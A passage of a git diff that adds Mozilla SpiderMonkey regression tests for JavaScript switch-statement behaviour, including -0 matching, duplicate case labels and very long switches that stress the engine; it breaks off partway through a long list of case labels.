+ notevil = (notevil + 1781)/2;
+ break;
+case "z1782":
+ notevil = (notevil + 1782)/2;
+ break;
+case "z1783":
+ notevil = (notevil + 1783)/2;
+ break;
+case "z1784":
+ notevil = (notevil + 1784)/2;
+ break;
+case "z1785":
+ notevil = (notevil + 1785)/2;
+ break;
+case "z1786":
+ notevil = (notevil + 1786)/2;
+ break;
+case "z1787":
+ notevil = (notevil + 1787)/2;
+ break;
+case "z1788":
+ notevil = (notevil + 1788)/2;
+ break;
+case "z1789":
+ notevil = (notevil + 1789)/2;
+ break;
+case "z1790":
+ notevil = (notevil + 1790)/2;
+ break;
+case "z1791":
+ notevil = (notevil + 1791)/2;
+ break;
+case "z1792":
+ notevil = (notevil + 1792)/2;
+ break;
+case "z1793":
+ notevil = (notevil + 1793)/2;
+ break;
+case "z1794":
+ notevil = (notevil + 1794)/2;
+ break;
+case "z1795":
+ notevil = (notevil + 1795)/2;
+ break;
+case "z1796":
+ notevil = (notevil + 1796)/2;
+ break;
+case "z1797":
+ notevil = (notevil + 1797)/2;
+ break;
+case "z1798":
+ notevil = (notevil + 1798)/2;
+ break;
+case "z1799":
+ notevil = (notevil + 1799)/2;
+ break;
+
+default:
+ dut = 3;
+ break;
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/ecma_3/Statements/regress-444979.js b/js/src/tests/ecma_3/Statements/regress-444979.js
new file mode 100644
index 000000000..e4c729cdb
--- /dev/null
+++ b/js/src/tests/ecma_3/Statements/regress-444979.js
@@ -0,0 +1,43 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 444979;
+var summary = 'switch -0 is same as switch 0';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'y==0';
+ actual = '';
+
+ var shortSwitch = 'var y=-0;switch (y){case 0: actual="y==0"; break; default: actual="y!=0";}';
+ eval(shortSwitch);
+
+ reportCompare(expect, actual, summary + ': shortSwitch');
+
+ actual = '';
+
+ var longSwitch = 'var y=-0;var t=0;switch(y){case -1:';
+ for (var i = 0; i < 64000; i++) {
+ longSwitch += ' t++;';
+ }
+ longSwitch += ' break; case 0: actual = "y==0"; break; default: actual = "y!=0";}';
+ eval(longSwitch);
+
+ reportCompare(expect, actual, summary + ': longSwitch');
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/Statements/regress-642975.js b/js/src/tests/ecma_3/Statements/regress-642975.js
new file mode 100644
index 000000000..f6180e7e8
--- /dev/null
+++ b/js/src/tests/ecma_3/Statements/regress-642975.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var x = 0;
+var y = 1;
+var g = 1;
+
+var expect = "y";
+var actual;
+
+try {
+ eval("y: while (x) break\n/y/g.exec('y')");
+ actual = RegExp.lastMatch;
+} catch (e) {
+ actual = '' + e;
+}
+assertEq(actual, expect);
+
+try {
+ eval("y: while (x) continue\n/y/g.exec('y')");
+ actual = RegExp.lastMatch;
+} catch (e) {
+ actual = '' + e;
+}
+assertEq(actual, expect);
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/ecma_3/Statements/regress-74474-001.js b/js/src/tests/ecma_3/Statements/regress-74474-001.js
new file mode 100644
index 000000000..91527bff1
--- /dev/null
+++ b/js/src/tests/ecma_3/Statements/regress-74474-001.js
@@ -0,0 +1,105 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 01 May 2001
+ *
+ * SUMMARY: Regression test for Bugzilla bug 74474
+ *"switch() misbehaves with duplicated labels"
+ *
+ * See ECMA3 Section 12.11, "The switch Statement"
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=74474
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 74474;
+var summary = 'Testing switch statements with duplicate labels';
+var status = '';
+var statusitems = [ ];
+var actual = '';
+var actualvalues = [ ];
+var expect= '';
+var expectedvalues = [ ];
+
+
+status = 'Section A of test: the string literal "1" as a duplicate label';
+actual = '';
+switch ('1')
+{
+case '1':
+ actual += 'a';
+case '1':
+ actual += 'b';
+}
+expect = 'ab';
+addThis();
+
+
+status = 'Section B of test: the numeric literal 1 as a duplicate label';
+actual = '';
+switch (1)
+{
+case 1:
+ actual += 'a';
+case 1:
+ actual += 'b';
+}
+expect = 'ab';
+addThis();
+
+
+status = 'Section C of test: the numeric literal 1 as a duplicate label, via a function parameter';
+tryThis(1);
+function tryThis(x)
+{
+ actual = '';
+
+ switch (x)
+ {
+ case x:
+ actual += 'a';
+ case x:
+ actual += 'b';
+ }
+}
+expect = 'ab';
+addThis();
+
+
+
+//---------------------------------------------------------------------------------
+test();
+//---------------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i = 0; i < UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], getStatus(i));
+ }
+
+ exitFunc ('test');
+}
+
+
+function getStatus(i)
+{
+ return statusitems[i];
+}
diff --git a/js/src/tests/ecma_3/Statements/regress-74474-002.js b/js/src/tests/ecma_3/Statements/regress-74474-002.js
new file mode 100644
index 000000000..9eba26063
--- /dev/null
+++ b/js/src/tests/ecma_3/Statements/regress-74474-002.js
@@ -0,0 +1,9063 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 09 May 2001
+ *
+ * SUMMARY: Regression test for Bugzilla bug 74474
+ * "switch() misbehaves with duplicated labels"
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=74474
+ * See ECMA3 Section 12.11, "The switch Statement"
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 74474;
+var summary = 'Test of switch statement that overflows the stack-allocated bitmap';
+var status = '(No duplicated labels)';
+var statusitems = [ ];
+var actual = '';
+var actualvalues = [ ];
+var expect= '';
+var expectedvalues = [ ];
+var x = 3;
+
+
+switch (x)
+{
+case 0:
+case 1:
+case 2:
+case 3:
+case 4:
+case 5:
+case 6:
+case 7:
+case 8:
+case 9:
+case 10:
+case 11:
+case 12:
+case 13:
+case 14:
+case 15:
+case 16:
+case 17:
+case 18:
+case 19:
+case 20:
+case 21:
+case 22:
+case 23:
+case 24:
+case 25:
+case 26:
+case 27:
+case 28:
+case 29:
+case 30:
+case 31:
+case 32:
+case 33:
+case 34:
+case 35:
+case 36:
+case 37:
+case 38:
+case 39:
+case 40:
+case 41:
+case 42:
+case 43:
+case 44:
+case 45:
+case 46:
+case 47:
+case 48:
+case 49:
+case 50:
+case 51:
+case 52:
+case 53:
+case 54:
+case 55:
+case 56:
+case 57:
+case 58:
+case 59:
+case 60:
+case 61:
+case 62:
+case 63:
+case 64:
+case 65:
+case 66:
+case 67:
+case 68:
+case 69:
+case 70:
+case 71:
+case 72:
+case 73:
+case 74:
+case 75:
+case 76:
+case 77:
+case 78:
+case 79:
+case 80:
+case 81:
+case 82:
+case 83:
+case 84:
+case 85:
+case 86:
+case 87:
+case 88:
+case 89:
+case 90:
+case 91:
+case 92:
+case 93:
+case 94:
+case 95:
+case 96:
+case 97:
+case 98:
+case 99:
+case 100:
+case 101:
+case 102:
+case 103:
+case 104:
+case 105:
+case 106:
+case 107:
+case 108:
+case 109:
+case 110:
+case 111:
+case 112:
+case 113:
+case 114:
+case 115:
+case 116:
+case 117:
+case 118:
+case 119:
+case 120:
+case 121:
+case 122:
+case 123:
+case 124:
+case 125:
+case 126:
+case 127:
+case 128:
+case 129:
+case 130:
+case 131:
+case 132:
+case 133:
+case 134:
+case 135:
+case 136:
+case 137:
+case 138:
+case 139:
+case 140:
+case 141:
+case 142:
+case 143:
+case 144:
+case 145:
+case 146:
+case 147:
+case 148:
+case 149:
+case 150:
+case 151:
+case 152:
+case 153:
+case 154:
+case 155:
+case 156:
+case 157:
+case 158:
+case 159:
+case 160:
+case 161:
+case 162:
+case 163:
+case 164:
+case 165:
+case 166:
+case 167:
+case 168:
+case 169:
+case 170:
+case 171:
+case 172:
+case 173:
+case 174:
+case 175:
+case 176:
+case 177:
+case 178:
+case 179:
+case 180:
+case 181:
+case 182:
+case 183:
+case 184:
+case 185:
+case 186:
+case 187:
+case 188:
+case 189:
+case 190:
+case 191:
+case 192:
+case 193:
+case 194:
+case 195:
+case 196:
+case 197:
+case 198:
+case 199:
+case 200:
+case 201:
+case 202:
+case 203:
+case 204:
+case 205:
+case 206:
+case 207:
+case 208:
+case 209:
+case 210:
+case 211:
+case 212:
+case 213:
+case 214:
+case 215:
+case 216:
+case 217:
+case 218:
+case 219:
+case 220:
+case 221:
+case 222:
+case 223:
+case 224:
+case 225:
+case 226:
+case 227:
+case 228:
+case 229:
+case 230:
+case 231:
+case 232:
+case 233:
+case 234:
+case 235:
+case 236:
+case 237:
+case 238:
+case 239:
+case 240:
+case 241:
+case 242:
+case 243:
+case 244:
+case 245:
+case 246:
+case 247:
+case 248:
+case 249:
+case 250:
+case 251:
+case 252:
+case 253:
+case 254:
+case 255:
+case 256:
+case 257:
+case 258:
+case 259:
+case 260:
+case 261:
+case 262:
+case 263:
+case 264:
+case 265:
+case 266:
+case 267:
+case 268:
+case 269:
+case 270:
+case 271:
+case 272:
+case 273:
+case 274:
+case 275:
+case 276:
+case 277:
+case 278:
+case 279:
+case 280:
+case 281:
+case 282:
+case 283:
+case 284:
+case 285:
+case 286:
+case 287:
+case 288:
+case 289:
+case 290:
+case 291:
+case 292:
+case 293:
+case 294:
+case 295:
+case 296:
+case 297:
+case 298:
+case 299:
+case 300:
+case 301:
+case 302:
+case 303:
+case 304:
+case 305:
+case 306:
+case 307:
+case 308:
+case 309:
+case 310:
+case 311:
+case 312:
+case 313:
+case 314:
+case 315:
+case 316:
+case 317:
+case 318:
+case 319:
+case 320:
+case 321:
+case 322:
+case 323:
+case 324:
+case 325:
+case 326:
+case 327:
+case 328:
+case 329:
+case 330:
+case 331:
+case 332:
+case 333:
+case 334:
+case 335:
+case 336:
+case 337:
+case 338:
+case 339:
+case 340:
+case 341:
+case 342:
+case 343:
+case 344:
+case 345:
+case 346:
+case 347:
+case 348:
+case 349:
+case 350:
+case 351:
+case 352:
+case 353:
+case 354:
+case 355:
+case 356:
+case 357:
+case 358:
+case 359:
+case 360:
+case 361:
+case 362:
+case 363:
+case 364:
+case 365:
+case 366:
+case 367:
+case 368:
+case 369:
+case 370:
+case 371:
+case 372:
+case 373:
+case 374:
+case 375:
+case 376:
+case 377:
+case 378:
+case 379:
+case 380:
+case 381:
+case 382:
+case 383:
+case 384:
+case 385:
+case 386:
+case 387:
+case 388:
+case 389:
+case 390:
+case 391:
+case 392:
+case 393:
+case 394:
+case 395:
+case 396:
+case 397:
+case 398:
+case 399:
+case 400:
+case 401:
+case 402:
+case 403:
+case 404:
+case 405:
+case 406:
+case 407:
+case 408:
+case 409:
+case 410:
+case 411:
+case 412:
+case 413:
+case 414:
+case 415:
+case 416:
+case 417:
+case 418:
+case 419:
+case 420:
+case 421:
+case 422:
+case 423:
+case 424:
+case 425:
+case 426:
+case 427:
+case 428:
+case 429:
+case 430:
+case 431:
+case 432:
+case 433:
+case 434:
+case 435:
+case 436:
+case 437:
+case 438:
+case 439:
+case 440:
+case 441:
+case 442:
+case 443:
+case 444:
+case 445:
+case 446:
+case 447:
+case 448:
+case 449:
+case 450:
+case 451:
+case 452:
+case 453:
+case 454:
+case 455:
+case 456:
+case 457:
+case 458:
+case 459:
+case 460:
+case 461:
+case 462:
+case 463:
+case 464:
+case 465:
+case 466:
+case 467:
+case 468:
+case 469:
+case 470:
+case 471:
+case 472:
+case 473:
+case 474:
+case 475:
+case 476:
+case 477:
+case 478:
+case 479:
+case 480:
+case 481:
+case 482:
+case 483:
+case 484:
+case 485:
+case 486:
+case 487:
+case 488:
+case 489:
+case 490:
+case 491:
+case 492:
+case 493:
+case 494:
+case 495:
+case 496:
+case 497:
+case 498:
+case 499:
+case 500:
+case 501:
+case 502:
+case 503:
+case 504:
+case 505:
+case 506:
+case 507:
+case 508:
+case 509:
+case 510:
+case 511:
+case 512:
+case 513:
+case 514:
+case 515:
+case 516:
+case 517:
+case 518:
+case 519:
+case 520:
+case 521:
+case 522:
+case 523:
+case 524:
+case 525:
+case 526:
+case 527:
+case 528:
+case 529:
+case 530:
+case 531:
+case 532:
+case 533:
+case 534:
+case 535:
+case 536:
+case 537:
+case 538:
+case 539:
+case 540:
+case 541:
+case 542:
+case 543:
+case 544:
+case 545:
+case 546:
+case 547:
+case 548:
+case 549:
+case 550:
+case 551:
+case 552:
+case 553:
+case 554:
+case 555:
+case 556:
+case 557:
+case 558:
+case 559:
+case 560:
+case 561:
+case 562:
+case 563:
+case 564:
+case 565:
+case 566:
+case 567:
+case 568:
+case 569:
+case 570:
+case 571:
+case 572:
+case 573:
+case 574:
+case 575:
+case 576:
+case 577:
+case 578:
+case 579:
+case 580:
+case 581:
+case 582:
+case 583:
+case 584:
+case 585:
+case 586:
+case 587:
+case 588:
+case 589:
+case 590:
+case 591:
+case 592:
+case 593:
+case 594:
+case 595:
+case 596:
+case 597:
+case 598:
+case 599:
+case 600:
+case 601:
+case 602:
+case 603:
+case 604:
+case 605:
+case 606:
+case 607:
+case 608:
+case 609:
+case 610:
+case 611:
+case 612:
+case 613:
+case 614:
+case 615:
+case 616:
+case 617:
+case 618:
+case 619:
+case 620:
+case 621:
+case 622:
+case 623:
+case 624:
+case 625:
+case 626:
+case 627:
+case 628:
+case 629:
+case 630:
+case 631:
+case 632:
+case 633:
+case 634:
+case 635:
+case 636:
+case 637:
+case 638:
+case 639:
+case 640:
+case 641:
+case 642:
+case 643:
+case 644:
+case 645:
+case 646:
+case 647:
+case 648:
+case 649:
+case 650:
+case 651:
+case 652:
+case 653:
+case 654:
+case 655:
+case 656:
+case 657:
+case 658:
+case 659:
+case 660:
+case 661:
+case 662:
+case 663:
+case 664:
+case 665:
+case 666:
+case 667:
+case 668:
+case 669:
+case 670:
+case 671:
+case 672:
+case 673:
+case 674:
+case 675:
+case 676:
+case 677:
+case 678:
+case 679:
+case 680:
+case 681:
+case 682:
+case 683:
+case 684:
+case 685:
+case 686:
+case 687:
+case 688:
+case 689:
+case 690:
+case 691:
+case 692:
+case 693:
+case 694:
+case 695:
+case 696:
+case 697:
+case 698:
+case 699:
+case 700:
+case 701:
+case 702:
+case 703:
+case 704:
+case 705:
+case 706:
+case 707:
+case 708:
+case 709:
+case 710:
+case 711:
+case 712:
+case 713:
+case 714:
+case 715:
+case 716:
+case 717:
+case 718:
+case 719:
+case 720:
+case 721:
+case 722:
+case 723:
+case 724:
+case 725:
+case 726:
+case 727:
+case 728:
+case 729:
+case 730:
+case 731:
+case 732:
+case 733:
+case 734:
+case 735:
+case 736:
+case 737:
+case 738:
+case 739:
+case 740:
+case 741:
+case 742:
+case 743:
+case 744:
+case 745:
+case 746:
+case 747:
+case 748:
+case 749:
+case 750:
+case 751:
+case 752:
+case 753:
+case 754:
+case 755:
+case 756:
+case 757:
+case 758:
+case 759:
+case 760:
+case 761:
+case 762:
+case 763:
+case 764:
+case 765:
+case 766:
+case 767:
+case 768:
+case 769:
+case 770:
+case 771:
+case 772:
+case 773:
+case 774:
+case 775:
+case 776:
+case 777:
+case 778:
+case 779:
+case 780:
+case 781:
+case 782:
+case 783:
+case 784:
+case 785:
+case 786:
+case 787:
+case 788:
+case 789:
+case 790:
+case 791:
+case 792:
+case 793:
+case 794:
+case 795:
+case 796:
+case 797:
+case 798:
+case 799:
+case 800:
+case 801:
+case 802:
+case 803:
+case 804:
+case 805:
+case 806:
+case 807:
+case 808:
+case 809:
+case 810:
+case 811:
+case 812:
+case 813:
+case 814:
+case 815:
+case 816:
+case 817:
+case 818:
+case 819:
+case 820:
+case 821:
+case 822:
+case 823:
+case 824:
+case 825:
+case 826:
+case 827:
+case 828:
+case 829:
+case 830:
+case 831:
+case 832:
+case 833:
+case 834:
+case 835:
+case 836:
+case 837:
+case 838:
+case 839:
+case 840:
+case 841:
+case 842:
+case 843:
+case 844:
+case 845:
+case 846:
+case 847:
+case 848:
+case 849:
+case 850:
+case 851:
+case 852:
+case 853:
+case 854:
+case 855:
+case 856:
+case 857:
+case 858:
+case 859:
+case 860:
+case 861:
+case 862:
+case 863:
+case 864:
+case 865:
+case 866:
+case 867:
+case 868:
+case 869:
+case 870:
+case 871:
+case 872:
+case 873:
+case 874:
+case 875:
+case 876:
+case 877:
+case 878:
+case 879:
+case 880:
+case 881:
+case 882:
+case 883:
+case 884:
+case 885:
+case 886:
+case 887:
+case 888:
+case 889:
+case 890:
+case 891:
+case 892:
+case 893:
+case 894:
+case 895:
+case 896:
+case 897:
+case 898:
+case 899:
+case 900:
+case 901:
+case 902:
+case 903:
+case 904:
+case 905:
+case 906:
+case 907:
+case 908:
+case 909:
+case 910:
+case 911:
+case 912:
+case 913:
+case 914:
+case 915:
+case 916:
+case 917:
+case 918:
+case 919:
+case 920:
+case 921:
+case 922:
+case 923:
+case 924:
+case 925:
+case 926:
+case 927:
+case 928:
+case 929:
+case 930:
+case 931:
+case 932:
+case 933:
+case 934:
+case 935:
+case 936:
+case 937:
+case 938:
+case 939:
+case 940:
+case 941:
+case 942:
+case 943:
+case 944:
+case 945:
+case 946:
+case 947:
+case 948:
+case 949:
+case 950:
+case 951:
+case 952:
+case 953:
+case 954:
+case 955:
+case 956:
+case 957:
+case 958:
+case 959:
+case 960:
+case 961:
+case 962:
+case 963:
+case 964:
+case 965:
+case 966:
+case 967:
+case 968:
+case 969:
+case 970:
+case 971:
+case 972:
+case 973:
+case 974:
+case 975:
+case 976:
+case 977:
+case 978:
+case 979:
+case 980:
+case 981:
+case 982:
+case 983:
+case 984:
+case 985:
+case 986:
+case 987:
+case 988:
+case 989:
+case 990:
+case 991:
+case 992:
+case 993:
+case 994:
+case 995:
+case 996:
+case 997:
+case 998:
+case 999:
+case 1000:
+case 1001:
+case 1002:
+case 1003:
+case 1004:
+case 1005:
+case 1006:
+case 1007:
+case 1008:
+case 1009:
+case 1010:
+case 1011:
+case 1012:
+case 1013:
+case 1014:
+case 1015:
+case 1016:
+case 1017:
+case 1018:
+case 1019:
+case 1020:
+case 1021:
+case 1022:
+case 1023:
+case 1024:
+case 1025:
+case 1026:
+case 1027:
+case 1028:
+case 1029:
+case 1030:
+case 1031:
+case 1032:
+case 1033:
+case 1034:
+case 1035:
+case 1036:
+case 1037:
+case 1038:
+case 1039:
+case 1040:
+case 1041:
+case 1042:
+case 1043:
+case 1044:
+case 1045:
+case 1046:
+case 1047:
+case 1048:
+case 1049:
+case 1050:
+case 1051:
+case 1052:
+case 1053:
+case 1054:
+case 1055:
+case 1056:
+case 1057:
+case 1058:
+case 1059:
+case 1060:
+case 1061:
+case 1062:
+case 1063:
+case 1064:
+case 1065:
+case 1066:
+case 1067:
+case 1068:
+case 1069:
+case 1070:
+case 1071:
+case 1072:
+case 1073:
+case 1074:
+case 1075:
+case 1076:
+case 1077:
+case 1078:
+case 1079:
+case 1080:
+case 1081:
+case 1082:
+case 1083:
+case 1084:
+case 1085:
+case 1086:
+case 1087:
+case 1088:
+case 1089:
+case 1090:
+case 1091:
+case 1092:
+case 1093:
+case 1094:
+case 1095:
+case 1096:
+case 1097:
+case 1098:
+case 1099:
+case 1100:
+case 1101:
+case 1102:
+case 1103:
+case 1104:
+case 1105:
+case 1106:
+case 1107:
+case 1108:
+case 1109:
+case 1110:
+case 1111:
+case 1112:
+case 1113:
+case 1114:
+case 1115:
+case 1116:
+case 1117:
+case 1118:
+case 1119:
+case 1120:
+case 1121:
+case 1122:
+case 1123:
+case 1124:
+case 1125:
+case 1126:
+case 1127:
+case 1128:
+case 1129:
+case 1130:
+case 1131:
+case 1132:
+case 1133:
+case 1134:
+case 1135:
+case 1136:
+case 1137:
+case 1138:
+case 1139:
+case 1140:
+case 1141:
+case 1142:
+case 1143:
+case 1144:
+case 1145:
+case 1146:
+case 1147:
+case 1148:
+case 1149:
+case 1150:
+case 1151:
+case 1152:
+case 1153:
+case 1154:
+case 1155:
+case 1156:
+case 1157:
+case 1158:
+case 1159:
+case 1160:
+case 1161:
+case 1162:
+case 1163:
+case 1164:
+case 1165:
+case 1166:
+case 1167:
+case 1168:
+case 1169:
+case 1170:
+case 1171:
+case 1172:
+case 1173:
+case 1174:
+case 1175:
+case 1176:
+case 1177:
+case 1178:
+case 1179:
+case 1180:
+case 1181:
+case 1182:
+case 1183:
+case 1184:
+case 1185:
+case 1186:
+case 1187:
+case 1188:
+case 1189:
+case 1190:
+case 1191:
+case 1192:
+case 1193:
+case 1194:
+case 1195:
+case 1196:
+case 1197:
+case 1198:
+case 1199:
+case 1200:
+case 1201:
+case 1202:
+case 1203:
+case 1204:
+case 1205:
+case 1206:
+case 1207:
+case 1208:
+case 1209:
+case 1210:
+case 1211:
+case 1212:
+case 1213:
+case 1214:
+case 1215:
+case 1216:
+case 1217:
+case 1218:
+case 1219:
+case 1220:
+case 1221:
+case 1222:
+case 1223:
+case 1224:
+case 1225:
+case 1226:
+case 1227:
+case 1228:
+case 1229:
+case 1230:
+case 1231:
+case 1232:
+case 1233:
+case 1234:
+case 1235:
+case 1236:
+case 1237:
+case 1238:
+case 1239:
+case 1240:
+case 1241:
+case 1242:
+case 1243:
+case 1244:
+case 1245:
+case 1246:
+case 1247:
+case 1248:
+case 1249:
+case 1250:
+case 1251:
+case 1252:
+case 1253:
+case 1254:
+case 1255:
+case 1256:
+case 1257:
+case 1258:
+case 1259:
+case 1260:
+case 1261:
+case 1262:
+case 1263:
+case 1264:
+case 1265:
+case 1266:
+case 1267:
+case 1268:
+case 1269:
+case 1270:
+case 1271:
+case 1272:
+case 1273:
+case 1274:
+case 1275:
+case 1276:
+case 1277:
+case 1278:
+case 1279:
+case 1280:
+case 1281:
+case 1282:
+case 1283:
+case 1284:
+case 1285:
+case 1286:
+case 1287:
+case 1288:
+case 1289:
+case 1290:
+case 1291:
+case 1292:
+case 1293:
+case 1294:
+case 1295:
+case 1296:
+case 1297:
+case 1298:
+case 1299:
+case 1300:
+case 1301:
+case 1302:
+case 1303:
+case 1304:
+case 1305:
+case 1306:
+case 1307:
+case 1308:
+case 1309:
+case 1310:
+case 1311:
+case 1312:
+case 1313:
+case 1314:
+case 1315:
+case 1316:
+case 1317:
+case 1318:
+case 1319:
+case 1320:
+case 1321:
+case 1322:
+case 1323:
+case 1324:
+case 1325:
+case 1326:
+case 1327:
+case 1328:
+case 1329:
+case 1330:
+case 1331:
+case 1332:
+case 1333:
+case 1334:
+case 1335:
+case 1336:
+case 1337:
+case 1338:
+case 1339:
+case 1340:
+case 1341:
+case 1342:
+case 1343:
+case 1344:
+case 1345:
+case 1346:
+case 1347:
+case 1348:
+case 1349:
+case 1350:
+case 1351:
+case 1352:
+case 1353:
+case 1354:
+case 1355:
+case 1356:
+case 1357:
+case 1358:
+case 1359:
+case 1360:
+case 1361:
+case 1362:
+case 1363:
+case 1364:
+case 1365:
+case 1366:
+case 1367:
+case 1368:
+case 1369:
+case 1370:
+case 1371:
+case 1372:
+case 1373:
+case 1374:
+case 1375:
+case 1376:
+case 1377:
+case 1378:
+case 1379:
+case 1380:
+case 1381:
+case 1382:
+case 1383:
+case 1384:
+case 1385:
+case 1386:
+case 1387:
+case 1388:
+case 1389:
+case 1390:
+case 1391:
+case 1392:
+case 1393:
+case 1394:
+case 1395:
+case 1396:
+case 1397:
+case 1398:
+case 1399:
+case 1400:
+case 1401:
+case 1402:
+case 1403:
+case 1404:
+case 1405:
+case 1406:
+case 1407:
+case 1408:
+case 1409:
+case 1410:
+case 1411:
+case 1412:
+case 1413:
+case 1414:
+case 1415:
+case 1416:
+case 1417:
+case 1418:
+case 1419:
+case 1420:
+case 1421:
+case 1422:
+case 1423:
+case 1424:
+case 1425:
+case 1426:
+case 1427:
+case 1428:
+case 1429:
+case 1430:
+case 1431:
+case 1432:
+case 1433:
+case 1434:
+case 1435:
+case 1436:
+case 1437:
+case 1438:
+case 1439:
+case 1440:
+case 1441:
+case 1442:
+case 1443:
+case 1444:
+case 1445:
+case 1446:
+case 1447:
+case 1448:
+case 1449:
+case 1450:
+case 1451:
+case 1452:
+case 1453:
+case 1454:
+case 1455:
+case 1456:
+case 1457:
+case 1458:
+case 1459:
+case 1460:
+case 1461:
+case 1462:
+case 1463:
+case 1464:
+case 1465:
+case 1466:
+case 1467:
+case 1468:
+case 1469:
+case 1470:
+case 1471:
+case 1472:
+case 1473:
+case 1474:
+case 1475:
+case 1476:
+case 1477:
+case 1478:
+case 1479:
+case 1480:
+case 1481:
+case 1482:
+case 1483:
+case 1484:
+case 1485:
+case 1486:
+case 1487:
+case 1488:
+case 1489:
+case 1490:
+case 1491:
+case 1492:
+case 1493:
+case 1494:
+case 1495:
+case 1496:
+case 1497:
+case 1498:
+case 1499:
+case 1500:
+case 1501:
+case 1502:
+case 1503:
+case 1504:
+case 1505:
+case 1506:
+case 1507:
+case 1508:
+case 1509:
+case 1510:
+case 1511:
+case 1512:
+case 1513:
+case 1514:
+case 1515:
+case 1516:
+case 1517:
+case 1518:
+case 1519:
+case 1520:
+case 1521:
+case 1522:
+case 1523:
+case 1524:
+case 1525:
+case 1526:
+case 1527:
+case 1528:
+case 1529:
+case 1530:
+case 1531:
+case 1532:
+case 1533:
+case 1534:
+case 1535:
+case 1536:
+case 1537:
+case 1538:
+case 1539:
+case 1540:
+case 1541:
+case 1542:
+case 1543:
+case 1544:
+case 1545:
+case 1546:
+case 1547:
+case 1548:
+case 1549:
+case 1550:
+case 1551:
+case 1552:
+case 1553:
+case 1554:
+case 1555:
+case 1556:
+case 1557:
+case 1558:
+case 1559:
+case 1560:
+case 1561:
+case 1562:
+case 1563:
+case 1564:
+case 1565:
+case 1566:
+case 1567:
+case 1568:
+case 1569:
+case 1570:
+case 1571:
+case 1572:
+case 1573:
+case 1574:
+case 1575:
+case 1576:
+case 1577:
+case 1578:
+case 1579:
+case 1580:
+case 1581:
+case 1582:
+case 1583:
+case 1584:
+case 1585:
+case 1586:
+case 1587:
+case 1588:
+case 1589:
+case 1590:
+case 1591:
+case 1592:
+case 1593:
+case 1594:
+case 1595:
+case 1596:
+case 1597:
+case 1598:
+case 1599:
+case 1600:
+case 1601:
+case 1602:
+case 1603:
+case 1604:
+case 1605:
+case 1606:
+case 1607:
+case 1608:
+case 1609:
+case 1610:
+case 1611:
+case 1612:
+case 1613:
+case 1614:
+case 1615:
+case 1616:
+case 1617:
+case 1618:
+case 1619:
+case 1620:
+case 1621:
+case 1622:
+case 1623:
+case 1624:
+case 1625:
+case 1626:
+case 1627:
+case 1628:
+case 1629:
+case 1630:
+case 1631:
+case 1632:
+case 1633:
+case 1634:
+case 1635:
+case 1636:
+case 1637:
+case 1638:
+case 1639:
+case 1640:
+case 1641:
+case 1642:
+case 1643:
+case 1644:
+case 1645:
+case 1646:
+case 1647:
+case 1648:
+case 1649:
+case 1650:
+case 1651:
+case 1652:
+case 1653:
+case 1654:
+case 1655:
+case 1656:
+case 1657:
+case 1658:
+case 1659:
+case 1660:
+case 1661:
+case 1662:
+case 1663:
+case 1664:
+case 1665:
+case 1666:
+case 1667:
+case 1668:
+case 1669:
+case 1670:
+case 1671:
+case 1672:
+case 1673:
+case 1674:
+case 1675:
+case 1676:
+case 1677:
+case 1678:
+case 1679:
+case 1680:
+case 1681:
+case 1682:
+case 1683:
+case 1684:
+case 1685:
+case 1686:
+case 1687:
+case 1688:
+case 1689:
+case 1690:
+case 1691:
+case 1692:
+case 1693:
+case 1694:
+case 1695:
+case 1696:
+case 1697:
+case 1698:
+case 1699:
+case 1700:
+case 1701:
+case 1702:
+case 1703:
+case 1704:
+case 1705:
+case 1706:
+case 1707:
+case 1708:
+case 1709:
+case 1710:
+case 1711:
+case 1712:
+case 1713:
+case 1714:
+case 1715:
+case 1716:
+case 1717:
+case 1718:
+case 1719:
+case 1720:
+case 1721:
+case 1722:
+case 1723:
+case 1724:
+case 1725:
+case 1726:
+case 1727:
+case 1728:
+case 1729:
+case 1730:
+case 1731:
+case 1732:
+case 1733:
+case 1734:
+case 1735:
+case 1736:
+case 1737:
+case 1738:
+case 1739:
+case 1740:
+case 1741:
+case 1742:
+case 1743:
+case 1744:
+case 1745:
+case 1746:
+case 1747:
+case 1748:
+case 1749:
+case 1750:
+case 1751:
+case 1752:
+case 1753:
+case 1754:
+case 1755:
+case 1756:
+case 1757:
+case 1758:
+case 1759:
+case 1760:
+case 1761:
+case 1762:
+case 1763:
+case 1764:
+case 1765:
+case 1766:
+case 1767:
+case 1768:
+case 1769:
+case 1770:
+case 1771:
+case 1772:
+case 1773:
+case 1774:
+case 1775:
+case 1776:
+case 1777:
+case 1778:
+case 1779:
